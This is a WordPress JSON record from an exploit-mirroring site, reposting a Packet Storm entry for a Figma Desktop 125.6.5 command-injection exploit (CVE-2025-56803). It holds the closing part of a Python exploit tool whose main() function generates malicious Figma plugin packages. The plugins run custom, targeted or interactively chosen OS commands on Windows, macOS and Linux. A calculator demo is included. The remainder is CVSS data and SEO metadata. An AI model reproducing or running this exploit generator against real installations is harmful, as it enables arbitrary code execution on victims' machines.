\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n        \u2551      FIGMA PLUGIN EXPLOIT &#8211; CVE-2025-56803               \u2551\\n        \u2551      OS Command Injection in Figma Desktop v125.6.5      \u2551\\n        \u2551                    FOR RESEARCH ONLY                     \u2551\\n        \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\&#8221;\\&#8221;\\&#8221;)\\n    \\n        if args.list_payloads:\\n            exploit.list_payloads()\\n            return\\n    \\n        if args.quick_calc:\\n            if exploit.system == \\&#8221;windows\\&#8221;:\\n                exploit.create_quick_exploit(\\&#8221;calc.exe\\&#8221;, \\&#8221;Calculator Plugin\\&#8221;)\\n            elif exploit.system == \\&#8221;darwin\\&#8221;:\\n                exploit.create_quick_exploit(\\&#8221;open -a Calculator\\&#8221;, \\&#8221;Calculator\\n    Plugin\\&#8221;)\\n            elif exploit.system == \\&#8221;linux\\&#8221;:\\n                exploit.create_quick_exploit(\\&#8221;xcalc\\&#8221;, \\&#8221;Calculator Plugin\\&#8221;)\\n            return\\n    \\n        if args.generate_all:\\n            print(\\&#8221;[+] Generating all demonstration payloads&#8230;\\&#8221;)\\n            for os_type in [&#8216;windows&#8217;, &#8216;linux&#8217;, &#8216;darwin&#8217;]:\\n                if &#8216;demonstration&#8217; in exploit.payload_database[os_type]:\\n                    for payload_name, command in\\n    exploit.payload_database[os_type][&#8216;demonstration&#8217;].items():\\n                        plugin_name = f\\&#8221;Demo &#8211; {payload_name} ({os_type})\\&#8221;\\n                        print(f\\&#8221;\\\\n[*] Generating: {plugin_name}\\&#8221;)\\n                        temp_dir =\\n    tempfile.mkdtemp(prefix=f\\&#8221;figma_{os_type}_{payload_name}_\\&#8221;)\\n                        exploit.create_plugin_package(temp_dir, plugin_name,\\n    command)\\n            print(\\&#8221;\\\\n[+] All demonstration payloads generated!\\&#8221;)\\n            return\\n    \\n        if args.payload:\\n            # Custom payload\\n            exploit.create_quick_exploit(args.payload, args.name)\\n        elif args.target and args.type:\\n            # Targeted payload\\n            command = exploit.generate_for_target(args.target, args.type,\\n    args.payload_name)\\n            if command:\\n                plugin_name = f\\&#8221;{args.target} &#8211; {args.type} -\\n    {args.payload_name or &#8216;default&#8217;}\\&#8221;\\n                exploit.create_quick_exploit(command, plugin_name)\\n        else:\\n            # Interactive mode\\n            print(\\&#8221;\\\\n[+] Interactive Mode\\&#8221;)\\n            print(\\&#8221;[+] Current system detected:\\&#8221;, platform.system())\\n    \\n            exploit.list_payloads()\\n    \\n            target = input(\\&#8221;\\\\nEnter target OS (windows\/linux\/darwin): \\&#8221;) or\\n    exploit.system\\n            ptype = input(\\&#8221;Enter payload type: \\&#8221;) or \\&#8221;demonstration\\&#8221;\\n            pname = input(\\&#8221;Enter payload name (or Enter for default): \\&#8221;) or None\\n    \\n            command = exploit.generate_for_target(target, ptype, pname)\\n            if command:\\n                plugin_name = input(f\\&#8221;Enter plugin name (default: Figma\\n    {ptype}): \\&#8221;) or f\\&#8221;Figma {ptype}\\&#8221;\\n    \\n                if args.test:\\n                    exploit.test_command_local(command)\\n                else:\\n                    exploit.create_quick_exploit(command, plugin_name)\\n            else:\\n                print(\\&#8221;[-] Failed to generate payload\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\n    \\n    Greetings to\\n    :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln\\n    (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212818&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.4,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212818\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:53:16&#8243;,&#8221;description&#8221;:&#8221;Figma Desktop Application version 125.6.5 proof of concept remote code execution exploit that leverages the plugin manifest&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212818&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-56803&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n |&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,74,12,15,13,53,7,11,5],"class_list":["post-31167","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-84","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31167\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:53:16&#8243;,&#8221;description&#8221;:&#8221;Figma Desktop Application version 125.6.5 proof of concept remote code execution exploit that leverages the plugin manifest&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212818&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-56803&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n |...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31167\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-15T11:42:52+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31167#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31167\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818\",\"datePublished\":\"2025-12-15T11:42:52+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31167\"},\"wordCount\":3243,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.4\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31167#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31167\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31167\",\"name\":\"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-15T11:42:52+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31167#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31167\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31167#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31167","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:53:16&#8243;,&#8221;description&#8221;:&#8221;Figma Desktop Application version 125.6.5 proof of concept remote code execution exploit that leverages the plugin manifest&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212818&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-56803&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n |...","og_url":"https:\/\/zero.redgem.net\/?p=31167","og_site_name":"zero redgem","article_published_time":"2025-12-15T11:42:52+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"16 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31167#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31167"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818","datePublished":"2025-12-15T11:42:52+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31167"},"wordCount":3243,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.4","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31167#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31167","url":"https:\/\/zero.redgem.net\/?p=31167","name":"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-15T11:42:52+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31167#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31167"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31167#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31167","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31167"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31167\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31167"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}